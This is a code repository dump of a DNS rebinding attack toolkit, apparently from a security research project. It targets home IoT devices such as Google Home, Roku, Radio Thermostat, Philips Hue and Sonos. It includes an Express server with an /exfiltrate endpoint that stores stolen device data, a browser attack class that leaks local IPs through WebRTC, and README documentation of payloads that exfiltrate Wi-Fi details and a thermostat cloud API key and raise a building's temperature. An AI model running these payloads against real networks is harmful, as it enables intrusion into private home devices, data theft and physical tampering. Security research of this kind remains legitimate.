"https://registry.npmjs.org/media-typer/-/media-typer-0.3.0.tgz", 247 | "integrity": "sha1-hxDXrwqmJvj/+hzgAWhUUmMlV0g=" 248 | }, 249 | "merge-descriptors": { 250 | "version": "1.0.1", 251 | "resolved": "https://registry.npmjs.org/merge-descriptors/-/merge-descriptors-1.0.1.tgz", 252 | "integrity": "sha1-sAqqVW3YtEVoFQ7J0blT8/kMu2E=" 253 | }, 254 | "methods": { 255 | "version": "1.1.2", 256 | "resolved": "https://registry.npmjs.org/methods/-/methods-1.1.2.tgz", 257 | "integrity": "sha1-VSmk1nZUE07cxSZmVoNbD4Ua/O4=" 258 | }, 259 | "mime": { 260 | "version": "1.4.1", 261 | "resolved": "https://registry.npmjs.org/mime/-/mime-1.4.1.tgz", 262 | "integrity": "sha512-KI1+qOZu5DcW6wayYHSzR/tXKCDC5Om4s1z2QJjDULzLcmf3DvzS7oluY4HCTrc+9FiKmWUgeNLg7W3uIQvxtQ==" 263 | }, 264 | "mime-db": { 265 | "version": "1.33.0", 266 | "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.33.0.tgz", 267 | "integrity": "sha512-BHJ/EKruNIqJf/QahvxwQZXKygOQ256myeN/Ew+THcAa5q+PjyTTMMeNQC4DZw5AwfvelsUrA6B67NKMqXDbzQ==" 268 | }, 269 | "mime-types": { 270 | "version": "2.1.18", 271 | "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-2.1.18.tgz", 272 | "integrity": "sha512-lc/aahn+t4/SWV/qcmumYjymLsWfN3ELhpmVuUFjgsORruuZPVSwAQryq+HHGvO/SI2KVX26bx+En+zhM8g8hQ==", 273 | "requires": { 274 | "mime-db": "1.33.0" 275 | } 276 | }, 277 | "ms": { 278 | "version": "2.0.0", 279 | "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz", 280 | "integrity": "sha1-VgiurfwAvmwpAd9fmGF4jeDVl8g=" 281 | }, 282 | "negotiator": { 283 | "version": "0.6.1", 284 | "resolved": "https://registry.npmjs.org/negotiator/-/negotiator-0.6.1.tgz", 285 | "integrity": "sha1-KzJxhOiZIQEXeyhWP7XnECrNDKk=" 286 | }, 287 | "object-assign": { 288 | "version": "4.1.1", 289 | "resolved": "https://registry.npmjs.org/object-assign/-/object-assign-4.1.1.tgz", 290 | "integrity": "sha1-IQmtx5ZYh8/AXLvUQsrIv7s2CGM=" 291 | }, 292 | "on-finished": { 293 | "version": "2.3.0", 294 | "resolved": "https://registry.npmjs.org/on-finished/-/on-finished-2.3.0.tgz", 295 | "integrity": "sha1-IPEzZIGwg811M3mSoWlxqi2QaUc=", 296 | "requires": { 297 | "ee-first": "1.1.1" 298 | } 299 | }, 300 | "parseurl": { 301 | "version": "1.3.2", 302 | "resolved": "https://registry.npmjs.org/parseurl/-/parseurl-1.3.2.tgz", 303 | "integrity": "sha1-/CidTtiZMRlGDBViUyYs3I3mW/M=" 304 | }, 305 | "path-to-regexp": { 306 | "version": "0.1.7", 307 | "resolved": "https://registry.npmjs.org/path-to-regexp/-/path-to-regexp-0.1.7.tgz", 308 | "integrity": "sha1-32BBeABfUi8V60SQ5yR6G/qmf4w=" 309 | }, 310 | "proxy-addr": { 311 | "version": "2.0.3", 312 | "resolved": "https://registry.npmjs.org/proxy-addr/-/proxy-addr-2.0.3.tgz", 313 | "integrity": "sha512-jQTChiCJteusULxjBp8+jftSQE5Obdl3k4cnmLA6WXtK6XFuWRnvVL7aCiBqaLPM8c4ph0S4tKna8XvmIwEnXQ==", 314 | "requires": { 315 | "forwarded": "0.1.2", 316 | "ipaddr.js": "1.6.0" 317 | } 318 | }, 319 | "qs": { 320 | "version": "6.5.1", 321 | "resolved": "https://registry.npmjs.org/qs/-/qs-6.5.1.tgz", 322 | "integrity": "sha512-eRzhrN1WSINYCDCbrz796z37LOe3m5tmW7RQf6oBntukAG1nmovJvhnwHHRMAfeoItc1m2Hk02WER2aQ/iqs+A==" 323 | }, 324 | "range-parser": { 325 | "version": "1.2.0", 326 | "resolved": "https://registry.npmjs.org/range-parser/-/range-parser-1.2.0.tgz", 327 | "integrity": "sha1-9JvmtIeJTdxA3MlKMi9hEJLgDV4=" 328 | }, 329 | "raw-body": { 330 | "version": "2.3.2", 331 | "resolved": "https://registry.npmjs.org/raw-body/-/raw-body-2.3.2.tgz", 332 | "integrity": "sha1-vNYMd9Prk83gBQKVw/N5OJvIj4k=", 333 | "requires": { 334 | "bytes": "3.0.0", 335 | "http-errors": "1.6.2", 336 | "iconv-lite": "0.4.19", 337 | "unpipe": "1.0.0" 338 | }, 339 | "dependencies": { 340 | "depd": { 341 | "version": "1.1.1", 342 | "resolved": "https://registry.npmjs.org/depd/-/depd-1.1.1.tgz", 343 | "integrity": "sha1-V4O04cRZ8G+lyif5kfPQbnoxA1k=" 344 | }, 345 | "http-errors": { 346 | "version": "1.6.2", 347 | "resolved": "https://registry.npmjs.org/http-errors/-/http-errors-1.6.2.tgz", 348 | "integrity": "sha1-CgAsyFcHGSp+eUbO7cERVfYOxzY=", 349 | "requires": { 350 | "depd": "1.1.1", 351 | "inherits": "2.0.3", 352 | "setprototypeof": "1.0.3", 353 | "statuses": "1.5.0" 354 | } 355 | }, 356 | "setprototypeof": { 357 | "version": "1.0.3", 358 | "resolved": "https://registry.npmjs.org/setprototypeof/-/setprototypeof-1.0.3.tgz", 359 | "integrity": "sha1-ZlZ+NwQ+608E2RvWWMDL77VbjgQ=" 360 | } 361 | } 362 | }, 363 | "safe-buffer": { 364 | "version": "5.1.1", 365 | "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.1.1.tgz", 366 | "integrity": "sha512-kKvNJn6Mm93gAczWVJg7wH+wGYWNrDHdWvpUmHyEsgCtIwwo3bqPtV4tR5tuPaUhTOo/kvhVwd8XwwOllGYkbg==" 367 | }, 368 | "send": { 369 | "version": "0.16.2", 370 | "resolved": "https://registry.npmjs.org/send/-/send-0.16.2.tgz", 371 | "integrity": "sha512-E64YFPUssFHEFBvpbbjr44NCLtI1AohxQ8ZSiJjQLskAdKuriYEP6VyGEsRDH8ScozGpkaX1BGvhanqCwkcEZw==", 372 | "requires": { 373 | "debug": "2.6.9", 374 | "depd": "1.1.2", 375 | "destroy": "1.0.4", 376 | "encodeurl": "1.0.2", 377 | "escape-html": "1.0.3", 378 | "etag": "1.8.1", 379 | "fresh": "0.5.2", 380 | "http-errors": "1.6.3", 381 | "mime": "1.4.1", 382 | "ms": "2.0.0", 383 | "on-finished": "2.3.0", 384 | "range-parser": "1.2.0", 385 | "statuses": "1.4.0" 386 | }, 387 | "dependencies": { 388 | "statuses": { 389 | "version": "1.4.0", 390 | "resolved": "https://registry.npmjs.org/statuses/-/statuses-1.4.0.tgz", 391 | "integrity": "sha512-zhSCtt8v2NDrRlPQpCNtw/heZLtfUDqxBM1udqikb/Hbk52LK4nQSwr10u77iopCW5LsyHpuXS0GnEc48mLeew==" 392 | } 393 | } 394 | }, 395 | "serve-static": { 396 | "version": "1.13.2", 397 | "resolved": "https://registry.npmjs.org/serve-static/-/serve-static-1.13.2.tgz", 398 | "integrity": "sha512-p/tdJrO4U387R9oMjb1oj7qSMaMfmOyd4j9hOFoxZe2baQszgHcSWjuya/CiT5kgZZKRudHNOA0pYXOl8rQ5nw==", 399 | "requires": { 400 | "encodeurl": "1.0.2", 401 | "escape-html": "1.0.3", 402 | "parseurl": "1.3.2", 403 | "send": "0.16.2" 404 | } 405 | }, 406 | "setprototypeof": { 407 | "version": "1.1.0", 408 | "resolved": "https://registry.npmjs.org/setprototypeof/-/setprototypeof-1.1.0.tgz", 409 | "integrity": "sha512-BvE/TwpZX4FXExxOxZyRGQQv651MSwmWKZGqvmPcRIjDqWub67kTKuIMx43cZZrS/cBBzwBcNDWoFxt2XEFIpQ==" 410 | }, 411 | "sprintf-js": { 412 | "version": "1.0.3", 413 | "resolved": "https://registry.npmjs.org/sprintf-js/-/sprintf-js-1.0.3.tgz", 414 | "integrity": "sha1-BOaSb2YolTVPPdAVIDYzuFcpfiw=" 415 | }, 416 | "statuses": { 417 | "version": "1.5.0", 418 | "resolved": "https://registry.npmjs.org/statuses/-/statuses-1.5.0.tgz", 419 | "integrity": "sha1-Fhx9rBd2Wf2YEfQ3cfqZOBR4Yow=" 420 | }, 421 | "type-is": { 422 | "version": "1.6.16", 423 | "resolved": "https://registry.npmjs.org/type-is/-/type-is-1.6.16.tgz", 424 | "integrity": "sha512-HRkVv/5qY2G6I8iab9cI7v1bOIdhm94dVjQCPFElW9W+3GeDOSHmy2EBYe4VTApuzolPcmgFTN3ftVJRKR2J9Q==", 425 | "requires": { 426 | "media-typer": "0.3.0", 427 | "mime-types": "2.1.18" 428 | } 429 | }, 430 | "unpipe": { 431 | "version": "1.0.0", 432 | "resolved": "https://registry.npmjs.org/unpipe/-/unpipe-1.0.0.tgz", 433 | "integrity": "sha1-sr9O6FFKrmFltIF4KdIbLvSZBOw=" 434 | }, 435 | "utils-merge": { 436 | "version": "1.0.1", 437 | "resolved": "https://registry.npmjs.org/utils-merge/-/utils-merge-1.0.1.tgz", 438 | "integrity": "sha1-n5VxD1CiZ5R7LMwSR0HBAoQn5xM=" 439 | }, 440 | "vary": { 441 | "version": "1.1.2", 442 | "resolved": "https://registry.npmjs.org/vary/-/vary-1.1.2.tgz", 443 | "integrity": "sha1-IpnwLG3tMNSllhsLn3RSShj2NPw=" 444 | } 445 | } 446 | } 447 | -------------------------------------------------------------------------------- /package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "dnsrebind-toolkit", 3 | "version": "1.0.0", 4 | "description": "", 5 | "main": "server.js", 6 | "scripts": { 7 | "test": "echo \"Error: no test specified\" && exit 1" 8 | }, 9 | "author": "Brannon Dorsey", 10 | "license": "GPL-3.0", 11 | "dependencies": { 12 | "argparse": "^1.0.10", 13 | "body-parser": "^1.18.2", 14 | "cors": "^2.8.4", 15 | "express": "^4.16.3" 16 | } 17 | } 18 | -------------------------------------------------------------------------------- /payloads/README.md: -------------------------------------------------------------------------------- 1 | # Common Payloads 2 | 3 | The `payloads/` folder contains a small collection of payloads written for common home IoT devices. 4 | 5 | - `google-home.html`: A payload that targets [Google Home's undocumented REST API](https://rithvikvibhu.github.io/GHLocalApi/). This API is supported by several Google Home products, like Chromecast, certain smart TVs, and of course the Google Home and Google Home Mini. 6 | - `roku-info.html`: [Roku's External Control API](https://sdkdocs.roku.com/display/sdkdoc/External+Control+API) allows direct control over the device via an unauthenticated REST API. There is plenty of fun to be had here. 7 | - `radio-thermostat.html`: The [WiFi Radio Thermostat CT50 & CT80](https://github.com/brannondorsey/radio-thermostat) don't require [any authentication](https://www.trustwave.com/Resources/Security-Advisories/Advisories/TWSL2013-022/?fid=3870) to their REST APIs. This payload exploits this vulnerability and sets the building temperature to 90 degrees and exfiltrates a cloud API key. 8 | - `phillips-hue.html`: Detect the presence of a Phillips Hue Bridge lighting system and exfiltrate basic information about the device. 9 | 10 | ## Google Home 11 | 12 | Chromecast has been using an undocumented API served on port 8008 [since at least 2013](http://fiquett.com/2013/07/chromecast-traffic-sniffing/). Recently [Rithvik Vibhu](https://github.com/rithvikvibhu/) did a bang up job [documenting the hell out of it](https://rithvikvibhu.github.io/GHLocalApi). When they rolled out their line of Google Home products it appears they have also integrated the same API into those products as well. `payloads/google-home.html` exploits a few of these API calls to exfiltrate information about the Chromecast device and its surrounding WiFi networks to `server.js`. Specifically, it makes GET requests to the following URLs: 13 | 14 | ```bash 15 | # assuming a Google Home device is present at 192.168.1.24 16 | 17 | # get basic information about the device 18 | http://192.168.1.24:8008/setup/eureka_info?params=version,audio,name,build_info,detail,device_info,net,wifi,setup,settings,opt_in,opencast,multizone,proxy,night_mode_params,user_eq,room_equalizer 19 | 20 | # get a list of nearby wifi networks from a recent WiFi scan 21 | http://192.168.1.24:8008/setup/scan_results 22 | 23 | # get a mysterious access token. Idk what it is used for? 24 | http://192.168.1.24:8008/setup/offer 25 | ``` 26 | 27 | The payload combines the results of these three queries into on JSON object and uploads it to `server.js` where it is saved in the `data/` directory. 28 | 29 | [Here](https://pastebin.com/U3tUqmRf) is an example of the JSON file created by my chromecast at home. 30 | 31 | ## Roku 32 | 33 | The [Roku External Control API](https://sdkdocs.roku.com/display/sdkdoc/External+Control+API) provides unauthenticated control of the entertainment device. `payloads/roku-info.html` exfiltrates information about the device as JSON to `server.js`. 34 | 35 | ```bash 36 | # assuming a Roku device is present at 192.168.1.88 37 | 38 | # get basic device info 39 | http://192.168.1.88:8060:query/device-info 40 | 41 | # get a list of all apps on the device 42 | http://192.168.1.88:8060:query/apps 43 | ``` 44 | 45 | Full device control is available over this API. You can open apps, play content, and control keypresses. I'll leave it up to someone else to write experiment with this functionality ;) PRs welcome! 46 | 47 | Here is an example of Roku data exfiltrated using [`payloads/roku-info.html`](https://pastebin.com/WSv5egcY). 48 | 49 | **Note**: The exfiltrated data is served as XML from the Roku device, but converted to JSON by `share/xmlToJSON.min.js`. It's not pretty, but I opted for JSON consistency across exfiltrated data in this repo. A custom payload could easily be written to preserve the original XML. 50 | 51 | ## Radio Thermostat 52 | 53 | The [Radio Thermostat CT50 & CT80](http://www.radiothermostat.com/) (perhaps other models too) support a documented REST API to control heating/cooling in your house from your LAN. This is particularly interesting because there isn't any authentication to access this API, leaving anyone on the network to have full control of the device. Daniel Crowly of Trustwave SpiderLabs [reported this vulnerability](https://web.archive.org/web/20180401193243/https://www.trustwave.com/Resources/Security-Advisories/Advisories/TWSL2013-022/?fid=3870) back in 2013, but the company doesn't seem to give a sh!t. 54 | 55 | > CVE: CVE-2013-4860 56 | > CWE: CWE-287 Improper Authentication 57 | 58 | >When on the same network as a Radio Thermostat unit, no authentication is 59 | required to use any part of the API. Users on the same subnet as the unit 60 | can query and change various settings such as the operation mode, wifi 61 | connection settings, and temperature thresholds. 62 | 63 | This unauthenticated physical control API makes a perfect target for DNS rebind attacks from the WAN. `payloads/radio-thermostat.html` exfiltrates building temperature, basic system information, device name, network information, and a cloud API key before setting the target temperature in the house to 95 degrees. 64 | 65 | ```bash 66 | # assuming a Radio Thermostat device is present at 192.168.1.209 67 | 68 | # get the current temperature 69 | http://192.168.1.209/tstat/temp 70 | 71 | # get basic system information 72 | http://192.168.1.209/sys 73 | 74 | # get the device name 75 | http://192.168.1.209/sys/name 76 | 77 | # get info about the WiFi network the device is connected to 78 | http://192.168.1.209/sys/network 79 | 80 | # see if there is a cloud key sitting on this device 81 | http://192.168.1.209/cloud 82 | 83 | # and of course... set the temperature to 95 degrees! 84 | http://192.168.1.209/tstat 85 | ``` 86 | 87 | The data exfiltrated by `payloads/radio-thermostat.html` is saved to `data/` and looks like this: 88 | 89 | ```json 90 | { 91 | "uuid": "2002af759f67", 92 | "api_version": 113, 93 | "fw_version": "1.04.84", 94 | "wlan_fw_version": "v10.105576", 95 | "name": "TotallySecureThermostat", 96 | "ssid": "myWiFiNetwork", 97 | "bssid": "79:8e:cd:87:2c:38", 98 | "channel": 11, 99 | "security": 4, 100 | "ip": 1, 101 | "rssi": -33, 102 | "interval": 300, 103 | "url": "http://ws.radiothermostat.com/services.svc/StatIn", 104 | "status": 0, 105 | "enabled": 0, 106 | "authkey": "", 107 | "status_code": 0, 108 | "temp": 73.5 109 | } 110 | ``` 111 | 112 | See [brannondorsey/radio-thermostat](https://github.com/brannondorsey/radio-thermostat) for full documentation of this REST API. 113 | 114 | ## Phillips Hue Bridge 115 | 116 | Up until 2016 the Phillip's Hue Bridge wireless light bulb controller could easily be controlled by an unauthenticated attacker. They've since updated their firmware to protect against this. While you can no longer control the device via a DNS rebinding attack you can still identify that a hue bridge is on the network and exfiltrate basic information about the device. The data that can be accessed is relatively harmless. 117 | 118 | ```bash 119 | # assuming a phillips hue bridge device is present at 192.168.1.8 120 | 121 | # get basic info about the device. Best I can tell this is the only API endpoint 122 | # that can be accessed by an unauthenticated user. Authentication requires 123 | # physical access. 124 | http://192.168.1.8/api/nouser/config 125 | ``` 126 | 127 | The data exfiltrated by `payloads/phillips-hue.html` is saved to `data/` and looks like this: 128 | 129 | ```json 130 | { 131 | "name": "Philips hue", 132 | "datastoreversion": "70", 133 | "swversion": "1802201122", 134 | "apiversion": "1.24.0", 135 | "mac": "00:17:88:6f:a5:91", 136 | "bridgeid": "001788FFFD69A591", 137 | "factorynew": false, 138 | "replacesbridgeid": null, 139 | "modelid": "BSB002", 140 | "starterkitid": "" 141 | } 142 | ``` 143 | 144 | 145 | -------------------------------------------------------------------------------- /payloads/google-home.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | Google Home Payload 5 | 6 | 7 | 8 | 77 | 78 | 79 | -------------------------------------------------------------------------------- /payloads/phillips-hue.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | Phillips Hue Example 5 | 6 | 7 | 8 | 9 | 37 | 38 | -------------------------------------------------------------------------------- /payloads/radio-thermostat.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | Radio Thermostat Payload 5 | 6 | 7 | 8 | 89 | 90 | 91 | -------------------------------------------------------------------------------- /payloads/roku-info.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | Roku Exfiltration Example 5 | 6 | 7 | 8 | 9 | 66 | 67 | -------------------------------------------------------------------------------- /payloads/sonos-info.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | Sonos Payload 5 | 6 | 7 | 8 | 42 | 43 | 44 | -------------------------------------------------------------------------------- /server.js: -------------------------------------------------------------------------------- 1 | const fs = require('fs') 2 | const path = require('path') 3 | const http = require('http') 4 | const cors = require('cors') 5 | const bodyParser = require('body-parser') 6 | const express = require('express') 7 | const ArgumentParser = require('argparse').ArgumentParser 8 | 9 | const args = parseArgs() 10 | 11 | const app = express() 12 | 13 | // set a custom server header 14 | app.use((req, res, next) => { 15 | res.set('Server', 'DNS Rebind Toolkit Server') 16 | next() 17 | }) 18 | 19 | app.use(cors()) 20 | app.use('/', express.static(path.join(__dirname, 'www'))) 21 | app.use('/examples', express.static(path.join(__dirname, 'examples'))) 22 | app.use('/share', express.static(path.join(__dirname, 'share'))) 23 | app.use('/payloads', express.static(path.join(__dirname, 'payloads'))) 24 | 25 | // catch all 26 | app.get(/.*/, (req, res) => { 27 | const ip = req.headers['x-forwarded-for'] || req.connection.remoteAddress 28 | console.log(`[*] GET ${req.url}`) 29 | res.sendStatus(204) 30 | }) 31 | 32 | app.use('/exfiltrate', bodyParser.json()) 33 | app.post('/exfiltrate', (req, res) => { 34 | 35 | console.log(`[*] POST ${req.url}`) 36 | const ip = req.headers['x-forwarded-for'] || req.connection.remoteAddress 37 | const post = req.body 38 | const type = post.type ? post.type.toLowerCase() : 'json' 39 | let data = post.data 40 | 41 | if (!post.data || 42 | !post.name || 43 | post.type && !['json', 'xml', 'txt'].includes(post.type.toLowerCase())) { 44 | console.error('[!] POST request doesn\'t contain the required fields') 45 | res.sendStatus(400) 46 | return 47 | } else if (post.name.includes('..') || post.name.includes(path.sep)) { 48 | console.error(`[!] invalid filename "${post.filename}"`) 49 | res.sendStatus(400) 50 | return 51 | } 52 | 53 | if (type == 'json') { 54 | try { 55 | data = JSON.stringify(post.data) 56 | } catch (err) { 57 | console.error(`[!] failed to parse JSON:`) 58 | console.error(post.data) 59 | console.error(err) 60 | res.sendStatus(400) 61 | return 62 | } 63 | } 64 | 65 | const name = `${post.name}-${Date.now()}-${ip}.${type}` 66 | const filename = path.join(__dirname, 'data', name) 67 | 68 | fs.writeFile(filename, data, (err) => { 69 | if (err) { 70 | console.error(`[!] error saving ${filename}:`) 71 | console.error(err) 72 | res.sendStatus(500) // Internal server error 73 | } else { 74 | res.sendStatus(204) // 204 No Content 75 | console.log(`[+] saved data to ${filename}`) 76 | } 77 | }) 78 | }) 79 | 80 | // create a new server callback on each --port 81 | args.port.forEach(port => { 82 | 83 | const server = http.createServer(app).listen(port, () => { 84 | console.log(`[+] server listening on port ${port}`) 85 | }) 86 | 87 | server.on('error', (err) => { 88 | if (err.code == 'EADDRINUSE') { 89 | console.error(`[!] cannot bind server to port ${port}, address in use.`) 90 | } else if (err.code == 'EACCES') { 91 | let msg = `[!] cannot bind server to port ${port}, access denied.` 92 | msg += ` Does that port require root?` 93 | console.error(msg) 94 | } else { 95 | console.error(`[!] server error:`) 96 | console.error(err) 97 | } 98 | }) 99 | }) 100 | 101 | function parseArgs() { 102 | 103 | const parser = new ArgumentParser({ 104 | version: '1.0.0', 105 | addHelp: true, 106 | description: 'DNS Rebind Toolkit server' 107 | }) 108 | 109 | const defaultPorts = [80, 8008, 8060, 1400, 1337] 110 | parser.addArgument( 111 | [ '-p', '--port' ], 112 | { 113 | action: 'append', 114 | defaultValue: [], 115 | help: 'Which ports to bind the servers on. May include multiple like: ' 116 | + '--port 80 --port 1337 ' 117 | + '(default: -p 80 -p 8008 -p 8060 -p 1400 -p 1337)' 118 | } 119 | ) 120 | 121 | const args = parser.parseArgs() 122 | 123 | args.port.forEach(port => { 124 | if (!isInt(port)) { 125 | console.error(`[fatal] --port must be an integer, not "${port}"`) 126 | process.exit(0) 127 | } 128 | }) 129 | 130 | if (args.port.length < 1) { 131 | args.port = defaultPorts 132 | console.log('[!] no ports specified, using defauls') 133 | } 134 | 135 | return args 136 | } 137 | 138 | // https://stackoverflow.com/questions/14636536/how-to-check-if-a-variable-is-an-integer-in-javascript#14794066 139 | function isInt(value) { 140 | return !isNaN(value) && 141 | parseInt(Number(value)) == value && 142 | !isNaN(parseInt(value, 10)) 143 | } 144 | -------------------------------------------------------------------------------- /share/js/DNSRebindAttack.js: -------------------------------------------------------------------------------- 1 | // The MIT License (MIT) 2 | // 3 | // Copyright (c) 2018 Brannon Dorsey 4 | // (DNSRebind.getLocalIPAddress(...) function) Copyright (c) 2015 Daniel Roesler 5 | // 6 | // Permission is hereby granted, free of charge, to any person obtaining a copy 7 | // of this software and associated documentation files (the "Software"), to deal 8 | // in the Software without restriction, including without limitation the rights 9 | // to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 10 | // copies of the Software, and to permit persons to whom the Software is 11 | // furnished to do so, subject to the following conditions: 12 | // 13 | // The above copyright notice and this permission notice shall be included in all 14 | // copies or substantial portions of the Software. 15 | // 16 | // THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 17 | // IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 18 | // FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 19 | // AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 20 | // LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 21 | // OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 22 | // SOFTWARE. 23 | 24 | // this class emits the following events: 25 | // - iframe-added 26 | // - iframe-removed 27 | // - all-iframes-added 28 | class DNSRebindAttack extends EventEmitter { 29 | 30 | constructor(domain, port) { 31 | super() 32 | this.domain = domain 33 | this.port = port 34 | // this event emitter should be interface with via DNSRebind.nodes#on 35 | this.nodes = new EventEmitter() 36 | this.host2ip = new Map() 37 | const receiveAttackerMessage = this._receiveAttackerMessage.bind(this) 38 | window.addEventListener('message', receiveAttackerMessage, false) 39 | } 40 | 41 | attack(ips, firstIp='127.0.0.1', payload='payload.html', interval=250) { 42 | let timeout = 0 43 | ips.forEach(ip => { 44 | setTimeout(() => this._loadIframe(firstIp, ip, this.domain, this.port, payload), timeout += interval) 45 | }) 46 | setTimeout(() => this.emit('all-iframes-added'), timeout) 47 | } 48 | 49 | static getLocalIPAddress() { 50 | return new Promise((resolve, reject) => { 51 | //get the IP addresses associated with an account 52 | const ipDups = {} 53 | //compatibility for firefox and chrome 54 | let RTCPeerConnection = window.RTCPeerConnection 55 | || window.mozRTCPeerConnection 56 | || window.webkitRTCPeerConnection; 57 | let useWebKit = !!window.webkitRTCPeerConnection 58 | //bypass naive webrtc blocking using an iframe 59 | 60 | if(!RTCPeerConnection){ 61 | //NOTE: you need to have an iframe in the page right above the script tag 62 | // 63 | // 64 | // 9 | 10 | 66 | 67 | 68 | -------------------------------------------------------------------------------- /www/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | DNS Rebind Toolkit 5 | 6 | 7 | 8 | 24 | 25 | 26 | 27 | 28 | 29 | 36 | 37 | 38 | 39 | -------------------------------------------------------------------------------- /www/rebind/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | DNS Rebinding Attack 5 | 6 | 7 | 8 | 9 | 10 | 11 | 27 | 28 | 29 | 30 | 31 | 32 | 33 |
34 |
35 |

DNS Rebinding Attack

36 |
Looking for vulnerable IoT devices on your home network.
37 |
38 |
Scanning {{ips.length}} IP addresses from {{startIp}} to {{endIp}}
39 |
Google Home IPs finished/started: {{googleHome.finishedIps.length}}/{{googleHome.startedIps.length}}
40 |
Roku IPs finished/started: {{roku.finishedIps.length}}/{{roku.startedIps.length}}
41 |
Radio Thermostat IPs finished/started: {{radioThermostat.finishedIps.length}}/{{radioThermostat.startedIps.length}}
42 |
Phillips Hue bridge IPs finished/started: {{phillips.finishedIps.length}}/{{phillips.startedIps.length}}
43 |
Sonos speaker IPs finished/started: {{sonos.finishedIps.length}}/{{sonos.startedIps.length}}
44 |
45 |

46 | This proof-of-concept attack is a demonstration of DNS rebinding attacks in general and was created as a component in larger research on the subject in general. If you are interested in learning more you can read about the research in this blog post. You can also find source code here and here. 47 |

48 |

❤️ Brannon Dorsey 49 |
50 | 🐦 51 |   52 | 💻 53 |

54 |
55 |
{{Object.keys(roku.devices).length}} Roku found
56 |
{{Object.keys(googleHome.devices).length}} Google Home found
57 |
{{Object.keys(radioThermostat.devices).length}} Radio Thermostat found
58 |
{{Object.keys(phillips.devices).length}} Phillips Hue Bridge found
59 |
{{Object.keys(sonos.devices).length}} Sonos speaker found
60 | 61 |
62 |
63 |
64 | 65 |
66 |
67 |
68 |
69 |
70 | The DNS Rebind attack was successful and a device has been found on your network. Your browser has been tricked into violating the Same-Origin Policy and HTTP requests have been made to interact with a device on your local network. The information below has been exfiltrated from your device and sent to a remote server that you do not control. 71 |
72 |
73 |
{{d}}
74 |
75 |
76 |
77 |
78 | 79 | 80 | 81 | 231 | 232 | 233 | -------------------------------------------------------------------------------- /www/rebind/loading.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/brannondorsey/dns-rebind-toolkit/98a6abab1e21cb4304d97f586fe28c706bb307a0/www/rebind/loading.gif -------------------------------------------------------------------------------- /www/safe/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | DNS Rebind Toolkit 5 | 6 | 7 | 8 | 9 | 10 | 26 | 27 | 28 | 29 | 30 | 31 | 32 |
33 |
34 |

This page is safe

35 |

36 | You've chosen not to run the DNS Rebinding proof-of-concept. 37 |

38 | 39 |
40 |
41 | 42 | 43 | --------------------------------------------------------------------------------